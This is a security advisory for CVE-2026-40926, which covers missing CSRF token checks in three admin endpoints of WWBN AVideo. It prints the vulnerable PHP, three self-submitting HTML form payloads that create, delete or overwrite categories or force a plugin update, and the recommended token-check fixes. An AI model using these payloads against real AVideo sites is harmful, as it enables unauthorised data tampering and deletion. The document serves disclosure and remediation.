CVE-2026-40926: Wwbn/avideo WWBN AVideo Has Multiple CSRF Vulnerability

HIGH
Advisory Identifier: GHSA-ffw8-fwxp-h64w
CVSS 7.1
CWE-352
Published
Advisory Summary

CVE-2026-40926 is a HIGH (CVSS 7.1) wwbn avideo has multiple csrf vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves wwbn avideo has multiple csrf vulnerabilities in admin json endpoints (category crud, plugin update script). Remediation is available in the latest vendor maintenance releases.

CVE-2026-40926 at a Glance

CVE Identifier CVE-2026-40926
GHSA Identifier GHSA-ffw8-fwxp-h64w
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-40926

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40926, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Three admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session. ## Details AVideo's CSRF defense is not applied globally — each endpoint must explicitly call `isGlobalTokenValid()` (defined in `objects/functions.php:2313`), which verifies `$_REQUEST['globalToken']`. A search across the codebase shows 18 files that correctly invoke `forbidIfIsUntrustedRequest()` or `isGlobalTokenValid()`, while the three endpoints below do not. ### 1. `objects/categoryAddNew.json.php:18` — CSRF create/overwrite category ```php 18 if (!Category::canCreateCategory()) { 19 $obj->msg = __("Permission denied"); 20 die(json_encode($obj)); 21 } 22 23 $objCat = new Category(intval(@$_POST['id'])); 24 $objCat->setName($_POST['name']); 25 $objCat->setClean_name($_POST['clean_name']); 26 $objCat->setDescription($_POST['description']); 27 $objCat->setIconClass($_POST['iconClass']); 28 $objCat->setSuggested($_POST['suggested']); 29 $objCat->setParentId($_POST['parentId']); 30 $objCat->setPrivate($_POST['private']); 31 $objCat->setAllow_download($_POST['allow_download']); 32 $objCat->setOrder($_POST['order']); 33 $obj->categories_id = $objCat->save(); ``` `Category::canCreateCategory()` (`objects/category.php:620-630`) returns true for any admin. Because the row is loaded via `new Category(intval(@$_POST['id']))`, a non-zero `id` causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write. ### 2. `objects/categoryDelete.json.php:10` — CSRF delete category ```php 10 if (!Category::canCreateCategory()) { 11 die('{"error":"' . __("Permission denied") . '"}'); 12 } 13 require_once 'category.php'; 14 $obj = new Category($_POST['id']); 15 $response = $obj->delete(); ``` No token check. An attacker can force an admin browser to POST any `id`, deleting rows from `categories`. ### 3. `objects/pluginRunUpdateScript.json.php:9` — CSRF forced plugin update ```php 9 if (!User::isAdmin()) { 10 forbiddenPage('Permission denied'); 11 } 12 if (empty($_POST['name'])) { 13 forbiddenPage('Name can\'t be blank'); 14 } 15 ini_set('max_execution_time', 300); 16 require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php'; 17 18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){ 19 $_POST['name'] = 'PlayLists'; 20 } 21 22 $obj = new stdClass(); 23 $obj->error = !AVideoPlugin::updatePlugin($_POST['name']); ``` `AVideoPlugin::updatePlugin()` (`plugin/AVideoPlugin.php:1452`) looks up the plugin by name and, if it defines an `updateScript()` method, invokes it and then records the new plugin version via `Plugin::setCurrentVersionByUuid`. No CSRF or Origin check precedes this. By contrast, the sibling endpoint `objects/pluginRunDatabaseScript.json.php:16` does call `isGlobalTokenValid()`, and `objects/pluginSwitch.json.php:12` also calls it — confirming this file is an omission. ### Why no global mitigation blocks this - `isGlobalTokenValid()` is not invoked from `objects/configuration.php` or any other bootstrap; it must be called per-endpoint. - `isUntrustedRequest()` (`objects/functionsSecurity.php:146`) is only triggered via an explicit call to `forbidIfIsUntrustedRequest()`; none of the three endpoints call it. - The handlers use `$_POST` directly without any framework-level CSRF middleware (AVideo does not use one). - `Category::canCreateCategory()` is purely a role check and does not examine request origin or tokens. ## PoC All three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser. ### PoC 1 — Create/overwrite category ```html <!-- evil-create.html --> <html><body> <form id=f action="https://victim.example.com/objects/categoryAddNew.json.php" method="POST"> <input name="id" value="0"> <!-- 0 = create; any existing id = overwrite --> <input name="name" value="Owned"> <input name="clean_name" value="owned"> <input name="description" value="pwn"> <input name="iconClass" value="fas fa-skull"> <input name="suggested" value="1"> <input name="parentId" value="0"> <input name="private" value="0"> <input name="allow_download" value="1"> <input name="order" value="1"> </form> <script>document.getElementById('f').submit();</script> </body></html> ``` Expected: a new row appears in the `categories` table, returned as `{"error":false,"categories_id":<n>,...}`. Changing `id=0` to an existing category id overwrites that row's fields. ### PoC 2 — Delete category ```html <!-- evil-delete.html --> <html><body> <form id=f action="https://victim.example.com/objects/categoryDelete.json.php" method="POST"> <input name="id" value="2"> </form> <script>document.getElementById('f').submit();</script> </body></html> ``` Multiple hidden iframes with different `id` values can walk the category id space and wipe the category tree. ### PoC 3 — Force plugin updateScript() ```html <!-- evil-plugin-update.html --> <html><body> <form id=f action="https://victim.example.com/objects/pluginRunUpdateScript.json.php" method="POST"> <input name="name" value="Live"> <input name="uuid" value="anything"> </form> <script>document.getElementById('f').submit();</script> </body></html> ``` Expected: server logs `AVideoPlugin::updatePlugin name=(Live) uuid=(...)` and the plugin's `updateScript()` runs in the admin's session, with execution time extended to 300s. ## Impact - **Integrity:** An attacker can silently cause the admin's browser to create, mutate, or delete rows in the `categories` table. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that renders `description` without escaping, this becomes a vector for stored XSS propagation. - **Availability (partial):** `categoryDelete.json.php` is a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow. - **Privileged code execution trigger:** `pluginRunUpdateScript.json.php` lets the attacker force execution of any installed plugin's `updateScript()` method (with a 5-minute execution window) in the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise. - **Blast radius:** Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required. ## Recommended Fix Add an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by `pluginSwitch.json.php` and `pluginRunDatabaseScript.json.php`. ```php // objects/categoryAddNew.json.php (after line 18) if (!Category::canCreateCategory()) { $obj->msg = __("Permission denied"); die(json_encode($obj)); } if (!isGlobalTokenValid()) { http_response_code(403); die('{"error":"' . __('Invalid token') . '"}'); } forbidIfIsUntrustedRequest(); ``` ```php // objects/categoryDelete.json.php (after line 12) if (!Category::canCreateCategory()) { die('{"error":"' . __("Permission denied") . '"}'); } if (!isGlobalTokenValid()) { http_response_code(403); die('{"error":"' . __('Invalid token') . '"}'); } forbidIfIsUntrustedRequest(); ``` ```php // objects/pluginRunUpdateScript.json.php (after line 11) if (!User::isAdmin()) { forbiddenPage('Permission denied'); } if (!isGlobalTokenValid()) { http_response_code(403); die('{"error":"' . __('Invalid token') . '"}'); } forbidIfIsUntrustedRequest(); ``` The long-term fix is to apply `forbidIfIsUntrustedRequest()` to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all `*.json.php` endpoints), so that future handlers cannot forget the check.

CVE-2026-40926 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 29.0

References

Frequently Asked Questions

What is CVE-2026-40926?
CVE-2026-40926 is a security vulnerability in Wwbn/avideo involving WWBN AVideo has Multiple CSRF Vulnerabilities in Admin JSON Endpoints (Category CRUD, Plugin Update Script) under CWE-352: Cross-Site Request Forgery (CSRF).
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-40926?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-40926?
CVE-2026-40926 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-40926?
CVE-2026-40926 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-40926?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ffw8-fwxp-h64w",
  "modified" : "2026-04-24T20:31:24Z",
  "published" : "2026-04-14T23:12:39Z",
  "aliases" : [ "CVE-2026-40926" ],
  "summary" : "WWBN AVideo has Multiple CSRF Vulnerabilities in Admin JSON Endpoints (Category CRUD, Plugin Update Script)",
  "details" : "## Summary\n\nThree admin-only JSON endpoints — `objects/categoryAddNew.json.php`, `objects/categoryDelete.json.php`, and `objects/pluginRunUpdateScript.json.php` — enforce only a role check (`Category::canCreateCategory()` / `User::isAdmin()`) and perform state-changing actions against the database without calling `isGlobalTokenValid()` or `forbidIfIsUntrustedRequest()`. Peer endpoints in the same directory (`pluginSwitch.json.php`, `pluginRunDatabaseScript.json.php`) do enforce the CSRF token, so the missing checks are an omission rather than a design choice. An attacker who lures a logged-in admin to a malicious page can create, update, or delete categories and force execution of any installed plugin's `updateScript()` method in the admin's session.\n\n## Details\n\nAVideo's CSRF defense is not applied globally — each endpoint must explicitly call `isGlobalTokenValid()` (defined in `objects/functions.php:2313`), which verifies `$_REQUEST['globalToken']`. A search across the codebase shows 18 files that correctly invoke `forbidIfIsUntrustedRequest()` or `isGlobalTokenValid()`, while the three endpoints below do not.\n\n### 1. `objects/categoryAddNew.json.php:18` — CSRF create/overwrite category\n\n```php\n 18 if (!Category::canCreateCategory()) {\n 19     $obj->msg = __(\"Permission denied\");\n 20     die(json_encode($obj));\n 21 }\n 22\n 23 $objCat = new Category(intval(@$_POST['id']));\n 24 $objCat->setName($_POST['name']);\n 25 $objCat->setClean_name($_POST['clean_name']);\n 26 $objCat->setDescription($_POST['description']);\n 27 $objCat->setIconClass($_POST['iconClass']);\n 28 $objCat->setSuggested($_POST['suggested']);\n 29 $objCat->setParentId($_POST['parentId']);\n 30 $objCat->setPrivate($_POST['private']);\n 31 $objCat->setAllow_download($_POST['allow_download']);\n 32 $objCat->setOrder($_POST['order']);\n 33 $obj->categories_id = $objCat->save();\n```\n\n`Category::canCreateCategory()` (`objects/category.php:620-630`) returns true for any admin. Because the row is loaded via `new Category(intval(@$_POST['id']))`, a non-zero `id` causes the existing row to be overwritten, not just created — the same primitive can mutate existing categories. No CSRF/Origin check precedes the write.\n\n### 2. `objects/categoryDelete.json.php:10` — CSRF delete category\n\n```php\n 10 if (!Category::canCreateCategory()) {\n 11     die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n 12 }\n 13 require_once 'category.php';\n 14 $obj = new Category($_POST['id']);\n 15 $response = $obj->delete();\n```\n\nNo token check. An attacker can force an admin browser to POST any `id`, deleting rows from `categories`.\n\n### 3. `objects/pluginRunUpdateScript.json.php:9` — CSRF forced plugin update\n\n```php\n  9 if (!User::isAdmin()) {\n 10     forbiddenPage('Permission denied');\n 11 }\n 12 if (empty($_POST['name'])) {\n 13     forbiddenPage('Name can\\'t be blank');\n 14 }\n 15 ini_set('max_execution_time', 300);\n 16 require_once $global['systemRootPath'] . 'plugin/AVideoPlugin.php';\n 17\n 18 if($_POST['uuid'] == 'plist12345-370-4b1f-977a-fd0e5cabtube'){\n 19     $_POST['name'] = 'PlayLists';\n 20 }\n 21\n 22 $obj = new stdClass();\n 23 $obj->error = !AVideoPlugin::updatePlugin($_POST['name']);\n```\n\n`AVideoPlugin::updatePlugin()` (`plugin/AVideoPlugin.php:1452`) looks up the plugin by name and, if it defines an `updateScript()` method, invokes it and then records the new plugin version via `Plugin::setCurrentVersionByUuid`. No CSRF or Origin check precedes this. By contrast, the sibling endpoint `objects/pluginRunDatabaseScript.json.php:16` does call `isGlobalTokenValid()`, and `objects/pluginSwitch.json.php:12` also calls it — confirming this file is an omission.\n\n### Why no global mitigation blocks this\n\n- `isGlobalTokenValid()` is not invoked from `objects/configuration.php` or any other bootstrap; it must be called per-endpoint.\n- `isUntrustedRequest()` (`objects/functionsSecurity.php:146`) is only triggered via an explicit call to `forbidIfIsUntrustedRequest()`; none of the three endpoints call it.\n- The handlers use `$_POST` directly without any framework-level CSRF middleware (AVideo does not use one).\n- `Category::canCreateCategory()` is purely a role check and does not examine request origin or tokens.\n\n## PoC\n\nAll three require the victim to be a logged-in AVideo administrator who visits the attacker-hosted page. Cookies are sent automatically by the browser.\n\n### PoC 1 — Create/overwrite category\n\n```html\n<!-- evil-create.html -->\n<html><body>\n<form id=f action=\"https://victim.example.com/objects/categoryAddNew.json.php\" method=\"POST\">\n  <input name=\"id\" value=\"0\">            <!-- 0 = create; any existing id = overwrite -->\n  <input name=\"name\" value=\"Owned\">\n  <input name=\"clean_name\" value=\"owned\">\n  <input name=\"description\" value=\"pwn\">\n  <input name=\"iconClass\" value=\"fas fa-skull\">\n  <input name=\"suggested\" value=\"1\">\n  <input name=\"parentId\" value=\"0\">\n  <input name=\"private\" value=\"0\">\n  <input name=\"allow_download\" value=\"1\">\n  <input name=\"order\" value=\"1\">\n</form>\n<script>document.getElementById('f').submit();</script>\n</body></html>\n```\n\nExpected: a new row appears in the `categories` table, returned as `{\"error\":false,\"categories_id\":<n>,...}`. Changing `id=0` to an existing category id overwrites that row's fields.\n\n### PoC 2 — Delete category\n\n```html\n<!-- evil-delete.html -->\n<html><body>\n<form id=f action=\"https://victim.example.com/objects/categoryDelete.json.php\" method=\"POST\">\n  <input name=\"id\" value=\"2\">\n</form>\n<script>document.getElementById('f').submit();</script>\n</body></html>\n```\n\nMultiple hidden iframes with different `id` values can walk the category id space and wipe the category tree.\n\n### PoC 3 — Force plugin updateScript()\n\n```html\n<!-- evil-plugin-update.html -->\n<html><body>\n<form id=f action=\"https://victim.example.com/objects/pluginRunUpdateScript.json.php\" method=\"POST\">\n  <input name=\"name\" value=\"Live\">\n  <input name=\"uuid\" value=\"anything\">\n</form>\n<script>document.getElementById('f').submit();</script>\n</body></html>\n```\n\nExpected: server logs `AVideoPlugin::updatePlugin name=(Live) uuid=(...)` and the plugin's `updateScript()` runs in the admin's session, with execution time extended to 300s.\n\n## Impact\n\n- **Integrity:** An attacker can silently cause the admin's browser to create, mutate, or delete rows in the `categories` table. Overwrite is especially damaging because field-level state (parent, privacy, allow_download, clean_name, iconClass) is changed without any UI feedback to the admin. Combined with any view that renders `description` without escaping, this becomes a vector for stored XSS propagation.\n- **Availability (partial):** `categoryDelete.json.php` is a pure destructive primitive that allows category rows to be removed one by one by iterating ids; there is no recovery flow.\n- **Privileged code execution trigger:** `pluginRunUpdateScript.json.php` lets the attacker force execution of any installed plugin's `updateScript()` method (with a 5-minute execution window) in the admin's context. When chained with other primitives that influence plugin state or the plugin's own update logic, this is a foothold for deeper compromise.\n- **Blast radius:** Each vulnerable endpoint requires only a single admin visit to any attacker-controlled page (XSS on a third-party site, a phishing link, a forum post with an auto-submitting form). No interaction beyond loading the page is required.\n\n## Recommended Fix\n\nAdd an explicit CSRF token check (and ideally an Origin check) to each endpoint, matching the pattern already used by `pluginSwitch.json.php` and `pluginRunDatabaseScript.json.php`.\n\n```php\n// objects/categoryAddNew.json.php (after line 18)\nif (!Category::canCreateCategory()) {\n    $obj->msg = __(\"Permission denied\");\n    die(json_encode($obj));\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/categoryDelete.json.php (after line 12)\nif (!Category::canCreateCategory()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\n```php\n// objects/pluginRunUpdateScript.json.php (after line 11)\nif (!User::isAdmin()) {\n    forbiddenPage('Permission denied');\n}\nif (!isGlobalTokenValid()) {\n    http_response_code(403);\n    die('{\"error\":\"' . __('Invalid token') . '\"}');\n}\nforbidIfIsUntrustedRequest();\n```\n\nThe long-term fix is to apply `forbidIfIsUntrustedRequest()` to every state-changing JSON endpoint via a shared include (e.g., a mandatory bootstrap file loaded by all `*.json.php` endpoints), so that future handlers cannot forget the check.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-ffw8-fwxp-h64w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40926"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/ee5615153c40628ab3ec6fe04962d1f92e67d3e2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T23:12:39Z",
    "nvd_published_at" : "2026-04-21T23:16:20Z"
  }
}